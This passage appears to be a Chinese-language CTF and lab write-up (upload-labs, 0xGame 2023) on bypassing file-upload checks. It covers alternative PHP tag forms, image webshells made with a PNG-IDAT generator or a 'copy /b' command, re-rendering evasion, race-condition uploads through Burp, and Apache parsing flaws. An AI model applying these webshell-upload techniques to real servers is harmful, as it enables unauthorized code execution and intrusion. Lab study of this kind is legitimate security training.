    那么就回到黑名单中的点绕过了

    image-20240508111840210
    注意:抓包后只有一个 post 上传数据,所以图中选中的数据是复制上面的 post 数据并加以更改

    image-20240508112152367

文件内容检测

php 标签检测

检测并过滤上传文件中包含的 <?php 内容。

php 标签的 4 种写法:

<?php
echo md5('tag');
?>

正常写法,可能会被过滤,这时就要采用后面的3种写法。

<?= 
md5('tag');
?>

短标签写法,<?=就相当于<?php echo;如果配置文件 php.ini 中 short_open_tag = On,则可以用<?代替<?php

<script language='php'>
echo md5('tag');
</script>

适用于 php7 以前的版本。

<%
md5('tag');
%>

需要通过 php.ini 配置文件中的指令asp_tags=On打开后才可用。

文件幻数检测

文件幻数(magic number),它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。

通常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型。

绕过方式(制作图片马):

项目地址:GitHub - huntergregal/PNG-IDAT-Payload-Generator: Generate a PNG with a payload embedded in the IDAT chunk (Based off of previous concepts and code – credit in README)

查看帮助:

python generate.py -h 

制作图片马:

python generate.py -m php -o png.php

基本使用方式:

usage: generate.py [-h] [-q] -m {xss,php} [-r REMOTE_DOMAIN] -o OUTPUT_IMAGE [-u UPDATE] [-p PAYLOAD] [-t THREADS]

Tool to generate PNG-IDAT Payloads.

options:
-h, --help show this help message and exit
-q, --quiet Optional: quiet mode
-m {xss,php}, --method {xss,php}
Choose payload method, -h to view available methods
-r REMOTE_DOMAIN, --remote-domain REMOTE_DOMAIN
Remote domain to retrieve payload from (shorter the better: ex. xx.xxx. use xqi.cc for generic XSS)
-o OUTPUT_IMAGE, --output-file OUTPUT_IMAGE
Output payload to PNG file
-u UPDATE, --update UPDATE
Update the payload tables
-p PAYLOAD, --payload PAYLOAD
Use the provided payload - no bruteforce
-t THREADS, --threads THREADS
Number of threads to use for bruteforce

也可以通过命令制作简单的图片马,看下面例子

实例:

upload-labs Pass-13:

image-20240508165852295

该代码会验证上传内容,确认是图片格式,所以不能简单把 php 转化为 jpg,此时就需要使用图片木马

我们的做法是在正常图片里面加入恶意代码

执行以下命令:

copy image.png /b + webshell.php /a webshell.png

image-20240508170347678

成功上传!点击 文件包含漏洞,进入文件包含页面:

image-20240508170522191

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

以 get 方式传入上传的图片木马,使其文件包含

image-20240508170714169

二次渲染

就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到特殊的数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

绕过方式:

先上传一张图片,再重新将图片下载下来做比较,然后在相同的地方插入 webshell,然后重新上传,配合文件包含漏洞执行 webshell。

实例:

0xGame 2023 WEB [Week 2] ez_upload

先上传一张 gif 图片( gif 二次渲染最方便)

image-20231030212159687

访问后将上传的文件下载到桌面

image-20231030212337199

将两张图片用 010 Editor 打开,蓝色部分为二次渲染前后不变的部分,我们要将 shell 替换同数量的字符(尽量将 shell 写在图片中间)

image-20231030212459609

image-20231030215903623

打开 Burp Suite 抓包,将文件后缀改为 php,那么就会执行 shell

image-20231030220105765

访问传入的 shell,发现执行成功

image-20231030215946613

最终连蚁剑得 flag

image-20231030215743211

其他绕过方式

竞争上传

实例:

upload-labs Pass-18:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
?>

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是 jpg、png、gif 中的一种,就将文件进行重命名。如果不符合的话,unlink() 函数就会删除该文件。

直接上传一句话木马的话,上传上去就被删除了,我还怎么去访问啊?

不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用 burp 多线程发包,然后不断在浏览器访问我们的 webshell,会有一瞬间的访问成功。

我是这么想的:在浏览器访问我们的 webshell 实际上是发送数据包,而上传文件也是发送数据包,那么我们就可以设置两个爆破来自动化进行条件竞争
image-20240508125639733

image-20240508125600855

payload 改为 NULL payload

image-20240508125823581

回显 123,说明文件被成功解析!接下来想连蚁剑连蚁剑,想直接命令执行就命令执行

解析漏洞

实例:

upload-labs Pass-19:

myupload.php

image-20240508113233558

这代码一看就是白名单,只允许上传这里面的文件,所以不能传 php 等文件

index.php

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
?>

$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;

文件上传之后又对其进行了重命名,不能使用文件包含的漏洞。

结合 apache 的解析漏洞,考虑 apache 未知扩展名解析漏洞:不管最后后缀为什么,只要是 .php.* 结尾,就会被 Apache 服务器解析成 php 文件!

image-20240508113946403

这里是先移动文件,再修改文件名,所以存在利用条件竞争

直接把上面的 payload 改改就行了:

image-20240508130823142

image-20240508130859177

image-20240508130939627